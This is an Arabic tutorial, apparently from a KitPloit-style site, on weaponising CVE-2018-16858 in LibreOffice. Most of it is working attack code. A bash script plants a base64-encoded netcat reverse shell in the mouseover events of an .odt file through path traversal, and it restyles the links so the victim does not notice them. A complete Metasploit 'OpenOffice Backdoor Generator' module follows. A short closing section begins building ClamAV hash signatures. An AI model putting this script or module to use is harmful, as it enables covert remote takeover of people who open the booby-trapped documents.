وهو مجرد الوسم الذي يستخدمه LibreOffice لتعريف النص. في الواقع، لتعريف أي نص، يكفي أن يبدأ بـ <text:p وينتهي بـ >. لإدراج الرابط الذي يسمح بالتنفيذ مع PAYLOAD الذي تم إنشاؤه مسبقًا قبله مباشرةً. سيصبح شيئًا من الشكل:

root@kitploit:~
<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">

حيث يتم تعديل PAYLOAD بالكود base64 المحسوب مع عنوان IP المختار والمنفذ المختار. بالإضافة إلى ذلك، بعد هذا الإدراج، يجب ترك وسم الفقرة النصية المذكور سابقًا كما هو.

أيضًا، يجب الإشارة إلى إنهاء الوسم الذي يتم إضافته بشكل إضافي، لذلك في كل وسم إنهاء نص </text:p> يجب تغييره إلى </text:a></text:p>.

لهذا الغرض، سنستخدم الأمر sed الذي يسمح بتعديل كل ما يتم إدخاله من الإدخال القياسي، صيغة الأمر كالتالي:

root@kitploit:~
sed s/"بحث"/"تغيير"/g

الحرف s يخبر sed أننا نريد إجراء استبدال، السلسلة الأولى المميزة في المثال باسم بحث هي ما سيقوم الأمر بتعديله مما يتم تمريره من الإدخال القياسي. في الأمر المثال، السلسلة تغيير هي ما سيغير sed به ما نبحث عنه. الحرف g المذكور بعد الكلمتين يسمح بأن لا يتم التغيير فقط مع أول كلمة تحقق معيار البحث، بل مع جميع الكلمات في الإدخال التي تحققه. بحيث إذا تم تمرير الجملة التالية للأمر كما هو مكتوب:

root@kitploit:~
la busqueda de sed permite busquedas y cambiarlas por algo.

سيُرجع الأمر sed الجملة التالية:

root@kitploit:~
la cambio de sed permite cambios y cambiarlas por algo.

بالإضافة إلى ذلك، يسمح sed بالتعبيرات المنتظمة، لذا فإن الأحرف *، .، ^، [ و ] لها معاني خاصة. أيضًا في المعامل الثاني لـ sed، الذي يسمح بتحديد التغيير، إذا تم إدخال الحرف &، فسيسمح بإخراج نمط البحث. ليس الغرض من هذا البرنامج التعليمي الخوض في جميع تفاصيل sed، لذا سنصف ببساطة الأوامر التي يتم تنفيذها ووظيفتها. سنستخدم الأنابيب | التي تسمح لمخرجات أمر بأن تكون إدخال الأمر التالي.

root@kitploit:~
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&amp;location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;

في هذا الأمر، يتم تمرير ملف content.xml.NEW إلى تنفيذين متتاليين لأمر sed. في أول sed، يتم إدخال جزء الحمولة، ويتم البحث عن السلسلة <text:p متبوعة بعدد غير محدد من أي حرف ليس >. كما يُشترط أن الحرف الذي يسبق > لا يكون نهاية وسم. يتم التعبير عن هذا التعبير المنتظم بالشكل التالي:

root@kitploit:~
<text:p [^>]*[^\/]>

سيتم إدراج هذه السلسلة التي تم العثور عليها في مخرجات أمر sed، حيث نقوم بإدراج الحرف & في المخرجات متبوعًا بوسم الرابط الذي نخصص له أيضًا الإجراء الذي عند تمرير الماوس فوقه يتم تنفيذ سكربت python الذي نريده. وهو في الغالب نسخة من الوسم المستخدم مع وضع PAYLOAD الذي تم إنشاؤه بواسطة متغير bash المسمى $PAYLOAD في المنتصف.

ما يتم الحصول عليه من هذا التغيير يتم تطبيق التغيير المحدد في sed الثاني، والذي سيبحث عن إنهاء وسم النص </text:p> وفي المخرجات سيتم استخدام نفس الوسم مسبوقًا بإنهاء وسم الرابط بحيث عند العثور على النص </text:p> تكون المخرجات </text:a></text:p>.

بكلا التغييرين، نكون قد حصلنا على أن ملف content.xml.NEW يتحول إلى الملف المطلوب، لذلك بعد إجراء sed، سنقوم بإخراج النتيجة إلى ملف الإخراج content.xml.

بمجرد فعل ذلك، لن نحتاج بعد الآن إلى الملف المؤقت content.xml.NEW، لذا سنقوم بحذفه باستخدام الأمر rm.

root@kitploit:~
rm content.xml.NEW

يجب أيضًا إجراء تعديل بحيث لا تظهر الروابط التشعبية التي تم إنشاؤها في المحتوى كروابط عند فتح الملف. لذلك، يجب إزالة التسطير الذي يكون افتراضيًا للروابط التشعبية. في الملف المسمى styles.xml، يحفظ LibreOffice الأنماط بتنسيق xml ويمكن تعديلها بتغييرات النص.

النمط الافتراضي للروابط التشعبية في LibreOffice يسمى Internet_20_link، لذا أول ما يجب فعله هو تغيير اسم النمط الافتراضي لاستدعائه بشكل لا يربط LibreOffice التنسيق المحدد بهذا النمط الذي يفرض التسطير. ببساطة، سنضيف 2 في نهاية كل نمط يسمى بهذا الاسم بحيث لا يتم استخدام هذا النمط في المستند إذا كان معرفًا. من ناحية أخرى، سنحدد نمطًا جديدًا بنفس الاسم تمامًا ولكن مع تحديد أنه غير مسطر. تنسيق xml لهذا النمط هو كما يلي:

root@kitploit:~
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>

أسهل طريقة لتعريف نمط ومعرفة كيفية ترميزه في تنسيق LibreOffice هي على الأرجح إنشاء نمط جديد، تعريفه كما نريد، ثم حفظه وفك ضغط المستند للنظر إليه في ملف styles.xml. في هذه الحالة، كما يمكن رؤيته بقراءة قليلة لسمات الوسم، كل ما تم تعريفه في النمط هو أنه غير مسطر وبدون لون خاص.

نظرًا لأننا لا نعرف مسبقًا كيف سيكون شكل الملف وأين يجب وضع النمط داخل ملف الأنماط، سنقوم مرة أخرى بتبسيط خشن ولكنه فعال. سنبحث عن وسم نهاية النمط </style:style> وسنضيف تعريف النمط المقترح في النهاية. لن نعرف بالضبط في أي موضع من الملف سيتم وضع الوسم، لكن هذا سيسمح لنا بعدم الحاجة إلى تعريف قواعد أكثر تعقيدًا لترك نمط الروابط التشعبية بدون تسطير بحيث لا يتمكن من يفتح الملف من اكتشاف الخطأ مسبقًا.

كما في الحالة السابقة، سنقوم بهذه التغييرات باستخدام الأمر sed، والذي سيكون بالشكل التالي:

root@kitploit:~
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;

الحالة مماثلة للسابقة، ويتم تنفيذ ما تم وصفه في الأسطر السابقة. يتم إخراج محتوى ملف styles.xml.new، وفي أول sed نقوم بتغيير اسم نمط الروابط التشعبية بإضافة 2 في النهاية. في ثاني sed، نضيف النمط المحدد يدويًا، وبعد التغيير، يتم تفريغ كل شيء في ملف styles.xml الذي سيكون الملف المحفوظ، ويتم حذف ملف styles.xml.NEW باستخدام الأمر rm.

الخطوة الأخيرة ستكون إعادة تعبئة كل شيء في ملف zip جديد باستخدام الأمر linux zip. مرة أخرى، يمكن التحقق من نجاح الأمر أو عدمه من خلال متغير bash $? الذي سيعيد 0 في حالة التنفيذ الناجح.

كود هذا الجزء الأخير سيكون كما يلي:

root@kitploit:~
		zip -r exploit.odt mimetype .;

		if [ $? == 0 ]; then

			echo "exploit.odt created!!!"

		else

			echo "An error has occurr!!!"

		fi;

الكود النهائي للسكربت الكامل سيكون على شكل مشابه لما يلي:if [ -e $1 ]; then

root@kitploit:~
	I=0;

	for fichero in `ls -a`; do

		I=$(($I+1));

	done;

	if [ $I -gt 2 ]; then

		echo "At least one file exists on the directory. Exiting.";

	else

		if [ "" == "$3" ]; then

			echo "I need an IP and a port to connect to.";

		else

			unzip $1;

			if [ $? != 0 ]; then

				echo "some error has occurr!!!Exiting!!";
				exit;

			fi;

			PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;

			mv content.xml content.xml.NEW;
			cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&amp;location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
			rm content.xml.NEW;

			mv styles.xml styles.xml.NEW;
			cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
			rm styles.xml.NEW;

			zip -r exploit.odt mimetype .;

			if [ $? == 0 ]; then

				echo "exploit.odt created!!!"

			else

				echo "An error has occurr!!!"

			fi;

		fi;

	fi;

else
	echo "The odt file does not exists!!";

fi;

توليد وحدة Metasploit

في هذا القسم، سيتم إنشاء وحدة metasploit تسمح بتنفيذ نفس ما فعلناه في القسم السابق، ولكن مع إمكانية دمجها في مجموعة metasploit من ناحية، ومن ناحية أخرى القدرة على استخدام الحمولات (payloads) المدمجة في تلك المجموعة. يجب ملاحظة أن هذه الوحدة ستقوم بإنشاء ملف من نوع .odt ويجب وضع معالج (handler) للاتصال بالمضيف الذي يتم فتح مستند Office عليه.

عادة ما يتم برمجة وحدات metasploit بلغة Ruby، ويتم استخدام مكتبات وفئات Ruby ومكتبات metasploit الخاصة لتسهيل التكامل مع باقي أجزاء المجموعة.

الوحدة التي نرغب في إنشائها ستستند إلى استغلال ثغرة exploit، حيث سيتضمن الاستغلال استخدام حمولة (payload) يتم تنفيذها. لذلك، ستورث وحدتنا من فئة metasploit Msf::Exploit. من بين خصائص هذه الفئة أنه يمكن تعريف حمولة ليتم تنفيذها عند استخدام الوحدة.

سيتم العمل مع ملفات سيتم فتحها وإغلاقها، وكذلك مع ملفات zip، لذا سيتم أيضًا استخدام المكتبات fileutils و zip لتفكيك ملف .odt وتغيير محتويات الملفين content.xml و styles.xml.

ستبدأ رأس الوحدة إذن بالسطور التالية:

root@kitploit:~
require 'fileutils'
require 'zip'

class MetasploitModule < Msf::Exploit

الآن سنبدأ في تعريف الفئة التي نكونها، حيث يجب في البداية تعريف السمات المختلفة للوحدة. سيتم إدخالها جميعًا في دالة التهيئة والتي ستقوم ببساطة باستدعاء الفئة الفائقة super لتهيئة سمات فئة Exploit. في هذا الجزء، لا حاجة لبرمجة أي منطق برنامج، فقط تعريف المتغيرات والقيم.

بالنسبة لتعريف السمات، السمات التي سيتم تعريفها هي كالتالي:

  • الاسم لتعريف اسم الوحدة (Name).
  • الوصف الذي يعطي وصفًا سيظهر عند عرض مساعدة الوحدة (Description).
  • الترخيص لتعريف الترخيص المحدد الذي نرغب في منحه للوحدة المنشأة (License).
  • المؤلف لتعريف من قام أو قاموا بإنشاء وحدة معينة (Author).
  • المراجع التي يجب فيها ذكر CVE أو مرجع الثغرة المستغلة في الوحدة التي يتم تنفيذها (References).
  • المنصة التي تحدد في أي نظام أو أنظمة تشغيل يمكن استخدام الوحدة (Platform).
  • الهندسة المعمارية التي تحدد نوع وحدة المعالجة المركزية (CPU) التي يمكن تشغيل الوحدة عليها (Arch).
  • الحمولة (Payload) التي يمكن فيها تعريف خصائص الحمولة التي يمكن استخدامها داخل الاستغلال (exploit). في هذه السمة، سيكون الحجم ('size') ذا أهمية خاصة، وعادة ما يرتبط بحجم المخزن المؤقت الذي ينفذ الكود، وما إذا كان يجب إجراء أي تحويل لبايتات الحمولة من أجل تنفيذها (DisableNops).
  • الأهداف، والتي تتعلق بالحمولات التي يمكن تنفيذها من خلال الاستغلال الذي يتم تعريفه (Target). من المهم تعريف هذه السمة بشكل جيد حتى لا يتمكن مستخدم الوحدة من إدخال حمولات خاطئة عند تشغيل الوحدة.
  • أخيرا، الخيارات للتسجيل تسمح بإدخال متغيرات جديدة لاستخدامها عند تشغيل الاستغلال (register_options). سيتم تعريف عناصر جديدة قد تكون من أنواع مختلفة، في حالتنا هذه سيتم تعريف متغير من نوع مسار (path) يحدد المسار إلى ملف .odt الذي نرغب في حقنه (troyanizar) وسمة من نوع سلسلة نصية (string) تحدد الاسم الجديد لملف .odt الذي سيتم حفظ الملف المحقون فيه. بحيث لا يتم تغيير الملف الأصلي، بل سيتم إنشاء ملف جديد محقون. لتعريف سمة من نوع مسار، سيتم استدعاء منشئ الفئة optPath، وللسلسلة النصية سيتم استخدام الفئة optString.

تهيئة هذه السمات تتكون ببساطة من إعطاء قيم، وسيبدو في الوحدة بالشكل التالي:

root@kitploit:~
def initialize(info = {})
	super(update_info(info,
	'Name'          => 'OpenOffice Backdoor Generator',
	'Description'   => '
	This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
	goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
	to be able to execute the script.
	',
	'License'       => MSF_LICENSE,
	'Author'        =>
	[
	'Animanegra', 
	],
	References'    =>
	[
	['CVE', '2018-16858'],
	['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
	],
	'Platform'      => 'linux',
	'Arch' =>	ARCH_X86,
	'Payload'	=> { 'DisableNops' => true , 'size' => 1024},
	'Targets'	=>
	[
		[ 'linux' , 
		{
			'Platform' => 'linux'
	
		}]
	])
	)
	register_options(
		[
			OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
			OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
		]
	)
end

بما تم تعريفه في التهيئة، أصبحنا جاهزين لتوليد الجزء المنطقي من الاستغلال (exploit) حيث سيتم تنفيذ نفس الإجراءات التي تم تعريفها في الاستغلال الذي تم إنشاؤه بلغة bash ولكن هذه المرة بلغة ruby المستخدمة من قبل metasploit. سيتم فعل نفس الشيء تمامًا ولكن باستخدام ميزات لغة ruby الخاصة.

الدالة التي سيتم تعريفها، وهي التي يستدعيها metasploit عند كتابة exploit أو run في msfconsole، يجب أن تسمى exploit. داخل هذه الدالة سيتم تعريف البرنامج نفسه الذي ينفذ الإجراءات المناسبة بناءً على السمات المحددة في تهيئة الكائن الذي تم إنشاؤه.

أول ما سيتم فعله هو التحقق من أن أسماء الملفات التي حددها المستخدم تنتهي بـ .odt. يمكن فعل ذلك بفحص محتويات المتغيرين datastore['INPUT'] و datastore['OUTPUT']. يمكن استخدام الأسلوب to_s الذي سيحوله إلى string و end_with الذي يسمح بتحديد ما إذا كانت السلسلة تنتهي بقيمة معينة أم لا. على سبيل المثال، الاستدعاء التالي:

root@kitploit:~
datastore['INPUT'].to_s.end_with?('.odt')

يعيد قيمة صحيحة إذا كان مسار الإدخال ينتهي بـ .odt أو خطأ في الحالة المعاكسة. لذلك سيكون الفحص على النحو التالي:

root@kitploit:~
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')

بمجرد التحقق من ذلك، سنبدأ في فك ضغط الملف لتغيير محتوى content.xml و styles.xml بنفس الطريقة التي تم بها في القسم السابق. سيتم ذلك باستخدام الفئة Zip التي تسمح بفتح وقراءة ملفات zip في الذاكرة دون الحاجة إلى تفريغ المحتوى مباشرة إلى ملف إخراج. يتم ذلك عن طريق استدعاء Zip::File.open حيث أن استدعاء هذه الطريقة سيعيد لنا كائنًا سيحتوي بعد ذلك على سمة من نوع مكرر (iterator). بهذه السمة يمكن قراءة كل ملف يتم فك ضغطه في الذاكرة. الاستدعاء الذي سنقوم به متصلًا بـ datastore الذي تم إنشاؤه والذي يحتوي على المسار إلى ملف .zip، وبواسطة المكرر سيتم حفظ كل ملف مفكوك في المتغير entry على النحو التالي:

root@kitploit:~
	Zip::File.open(datastore['INPUT']) do |zipfile|

		zipfile.each do |entry|

يتم فتح ملف zip في كائن يسمى zipfile، ويتم أخذ المكرر منه عبر each، ويحفظ في المتغير entry. هذا المتغير هو الذي يمكن من خلاله الوصول مباشرة إلى الملفات المفكوكة وخصائصها. باستخدام entry.name يمكن الوصول إلى اسم الملف الأصلي. نظرًا لأننا نريد تغيير الملفين باسم styles.xml و contents.xml، يمكن بمقارنة بسيطة قراءة الملف لإجراء التغييرات. أما باقي الملفات فستترك بمحتوياتها دون تغيير. سيحتوي المتغير entry أيضًا على طريقة تسمى get_input_stream بحيث يمكن التعامل مع ملفات zip بشكل مشابه لأي ملف على القرص الصلب. فئة inputStream لها طريقة تسمى read تقوم بتفريغ محتوى الملف بالكامل في متغير. أخيرًا، يحتوي المتغير entry أيضًا على طريقة is_directory التي تسمح بمعرفة ما إذا كان الملف الموجود في zip هو ملف أم دليل، بحيث إذا كان دليلاً يمكن تجاهله وعدم قراءته بطريقة read لأنه عنصر من هيكل zip نفسه وليس له محتوى بذاته. بهذه الطرق، أصبحنا قادرين على توليد الهيكل العام للخوارزمية، والتي ستميز ما إذا كان الملف هو أحد الملفات التي سيتم تغييرها، أو ملف لا يجب تغييره، أو مجرد دليل. الهيكل العام لهذا الجزء سيكون على النحو التالي:

root@kitploit:~
			if entry.name == "content.xml"

	 		elsif entry.name == "styles.xml"

	 		else

				if !entry.name_is_directory?


				end

			end

إذا كان اسم الملف المراد قراءته content.xml فيجب إدراج الحمولة التي اختارها المستخدم، وإذا كان اسمه styles.xml فيجب تغيير نمط الروابط التشعبية، وأخيرًا إذا لم يكن أيًا من هذه الملفات، وفي حالة لم يكن دليلاً، يجب ببساطة إدراج الملف دون أي تغيير.

المعالجة المثلى ستكون إدراج الملفات في المستند الجديد أثناء قراءتها، لذا كما تم فتح ملف zip بواسطة الفئة Zip في وضع القراءة، سيتم فتح ملف آخر في وضع الكتابة حيث سيتم تضمين الملفات في الملف المضغوط أثناء التنفيذ.

بطريقة مماثلة، يتم استدعاء الطريقة File.open من الفئة Zip، ويتم استخدام المتغير المُعاد لإدراج الملفات المختلفة في الملف المضغوط الناتج. المعامل الأول للطريقة هو اسم الملف الذي يتم الحصول عليه من الاسم الذي اختاره المستخدم عبر واجهة msfconsole. يتم الوصول إلى هذا الاسم عبر المتغير datastore['OUTPUT']. كمعامل ثاني، سيتم تحديد أنه يراد إنشاء ملف zip جديد باستخدام الثابت Zip::File::CREATE. بشكل مماثل لطريقة فتح القراءة، هنا سيكون سطر البرنامج المُدرج على النحو التالي:

root@kitploit:~
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|

كما ذكرنا، سيتم استخدام المتغير outzip لإدراج بيانات جديدة في zip. كما أنه لقراءة ملف من zip يمكن استخدام الطريقة get_input_stream، وفي حالة الكتابة فيه سيتم استخدام المقابل get_output_stream، وسيتم استخدام الطريقة write لإدراج محتويات في الملف. بيانات الإدخال للطريقة get_output_stream هي اسم الملف. لذلك، وبما أننا نستطيع الوصول إلى اسم الملف المقروء عبر entry.name ومحتوى الملف المقروء عبر entry.get_input_stream.read لقراءة الملف من ملف zip وتفريغه في ملف zip الناتج مباشرة، يمكن فعل التالي:

root@kitploit:~
					data = entry.get_input_stream.read

					outzip.get_output_stream(entry.name) { |f| f.write data}

كما يمكن رؤيته، سيكون في data المحتوى الكامل للملف، لذا في حالة كان اسم ملف الإدخال styles.xml أو contents.xml، يجب تغيير ذلك المحتوى قبل تفريغه، في بقية الحالات لا حاجة لتغيير أي شيء.

كما كان الحال مع الأمر sed في سطر الأوامر، في Ruby تتوفر الدالة gsub التي تعمل بنفس الطريقة تمامًا. في حالة ملف الأنماط (styles.xml)، يمكن تنفيذ دالة sub على النحو التالي:

root@kitploit:~
data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')

كما يمكن رؤيته، لا شيء مميز بشكل خاص في هذه الدالة. يتم فعل نفس الشيء تمامًا كما في حالة الاستغلال بلغة bash. بمجرد إجراء هذا التغيير، يمكن تفريغ المتغير data في ملف الإخراج من zip.

حالة contents.xml تتطلب إدراج الحمولة التي اختارها المستخدم، لذا يجب تحميلها في متغير بتنسيق base64 لإدراجها في المكان المناسب داخل الملف. يمكن الوصول إلى محتوى الحمولة المراد تنفيذها عبر المتغير payload، وبما أننا نحتاج حمولة بتنسيق قابل للتنفيذ، سيتم استدعاء الطريقة encoded_exe() التي تسمح بالوصول إلى حمولة بتنسيق قابل للتنفيذ بدلاً من الوصول إلى التعليمات بدون الجزء اللازم للتنفيذ كأمر مستقل. وبما أننا نحتاج تنسيق base64، سيتم ترميز الثنائي (binary) إلى base64 باستخدام فئة REX عن طريق استدعاء الطريقة Text.encode_base64 التي تنتظر كمدخل البيانات المراد ترميزها. التعليمات التي سيتم إدراجها في البرنامج ستكون على النحو التالي:

root@kitploit:~
				target_payload = payload.encoded_exe()

				b64_payload = Rex::Text.encode_base64(target_payload)

وبذلك يصبح في b64_payload الحمولة القابلة للتنفيذ بتنسيق base64. أخيرًا، سيتم استخدام تغييرات مماثلة لتلك التي تمت في أمر sed، حيث سيتم إدراج كلمة PAYLOAD بدلاً من كود base64 الذي طبقناه في القسم السابق. إلى ما تم الحصول عليه بعد كل التغييرات، سيتم إضافة gsub جديد في النهاية يعادل تغييرًا أخيرًا حيث سيتم استبدال النص الحرفي PAYLOAD بمحتوى المتغير b64_payload. سيكون الكود على النحو التالي:

root@kitploit:~
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&amp;location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)

وبهذا قد تم حل كل الوظائف المطلوبة للوحدة، وسيكون الكود الكامل للوحدة على النحو التالي:

root@kitploit:~
require 'fileutils'
require 'zip'

class MetasploitModule < Msf::Exploit

	def initialize(info = {})
		super(update_info(info,
		'Name'          => 'OpenOffice Backdoor Generator',
		'Description'   => '
			This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
			goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
			to be able to execute the script.
		',
		'License'       => MSF_LICENSE,
		'Author'        =>
			[
				'Animanegra', 
			],
		References'    =>
			[
			['CVE', '2018-16858'],
			['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
			],
		'Platform'      => 'linux',
		'Arch' =>	ARCH_X86,
		'Payload'	=> { 'DisableNops' => true , 'size' => 1024},
		'Targets'	=>
			[
				[ 'linux' , 
					{
						'Platform' => 'linux'
	
					}]
			])
		)
		register_options(
			[
				OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
				OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
			]
		)

	end

	def exploit

		if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')

			print "Ok we have the input and output file. Lets rock!!!\n\n"

			Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|

				Zip::File.open(datastore['INPUT']) do |zipfile|

					zipfile.each do |entry|

						if entry.name == "content.xml"

							print "Changing content to insert command execution!!!\n"

							target_payload = payload.encoded_exe()

							b64_payload = Rex::Text.encode_base64(target_payload)

							data = entry.get_input_stream.read

							data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&amp;location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)

							outzip.get_output_stream(entry.name) { |f| f.write data}

						elsif entry.name == "styles.xml"

							print "Changing style to make the user not to view the hyperlink.\n\n"

							data = entry.get_input_stream.readdata = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')

							outzip.get_output_stream(entry.name) { |f| f.write data}

						else

							if !entry.name_is_directory?

								data = entry.get_input_stream.read

								outzip.get_output_stream(entry.name) { |f| f.write data}

							end

						end

					end

				end

			end

		else

			print_error 'INPUT and OUTPUT must be both .odt file extension'

		end

	end

end

بمجرد إنشاء البرنامج، سيتم حفظه في ملف يُسمى libreoffice.rb وسيتم نسخه إلى المسار /modules/exploits/linux/misc. في المرة التالية التي يتم فيها تشغيل msfconsole، سيتم تحميل هذه الوحدة الجديدة. يمكن استخدامها مثل باقي الوحدات عن طريق تنفيذ الأمر:

root@kitploit:~
msf5 > use exploit/linux/misc/libreoffice 
msf5 exploit(linux/misc/libreoffice) >

حيث يمكن الاطلاع على الخيارات:

root@kitploit:~
msf5 exploit(linux/misc/libreoffice) > show options 

Module options (exploit/linux/misc/libreoffice):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   INPUT                    yes       Path and filename to existing .odt to inject the payload selected.
   OUTPUT                   yes       Path and filename to make a new infected .odt file.


Exploit target:

   Id  Name
   --  ----
   0   linux

ويمكن اختيار ملف إدخال عن طريق تعيين قيمة لـ INPUT وقيمة لـ OUTPUT وتعيين حمولة متوافقة باستخدام الأمر set payload.

بعد إنشاء ملف odt الناتج، سيتم استخدام المعالج العام use exploit/multi/handler مع حمولة متوافقة مع تلك المختارة عند إنشاء ملف .odt

توليد توقيع للكشف بواسطة مضاد الفيروسات

كخطوة أخيرة، سيتم توليد سلسلة من توقيعات مضادات الفيروسات للكشف عن الباب الخلفي الذي تم إنشاؤه لتجنب هذا التهديد. نظرًا لأن معظم مضادات الفيروسات مغلقة المصدر، سيتم استخدام برنامج مضاد الفيروسات ClamAV وهو مفتوح المصدر ويمكن تشغيله على جميع المنصات.

التوقيع الأول الذي سيتم إنشاؤه هو توقيع ثابت، وهو أسهل أنواع التوقيعات تنفيذًا ولكنه أيضًا الأسهل في التجاوز أو الالتفاف. هذا النوع من التوقيعات يتكون غالبًا من تجزئة ثابتة وحجم ملف. الصيغة التي يطلبها مضاد الفيروسات ClamAV هي أن يكون في ملف بامتداد .hdb لدينا أسطر تبدأ بالتجزئة (md5 أو sha1) متبوعة بالحجم بالبايت واسم الفيروس المطلوب. كل سطر يحتوي فقط على تعريف فيروس واحد وكل حقل مفصول بالرمز :.

إذا كان لدينا ملف exploit.odt الذي نريد إنشاء توقيع له، يمكننا اختيار حساب تجزئة md5 أو sha1 بسهولة باستخدام الأمرين md5sum و sha1sum في لينكس. يتم تنفيذ الأوامر ببساطة عن طريق كتابة اسم الأمر متبوعًا باسم الملف المراد حسابه، بشكل مشابه لما يلي:

root@kitploit:~
user@host:~/myprojects/security/metasploit/exploitlibreoffice/scripts/lalala$ md5sum exploit.odt 
9158e2fc2f87b5ee050a279a38f6bfac  exploit.odt
user@host:~/$ sha1sum exploit.odt 
a39979533831fbb9eac4ba6c13469b4d421fc1c7  exploit.odt

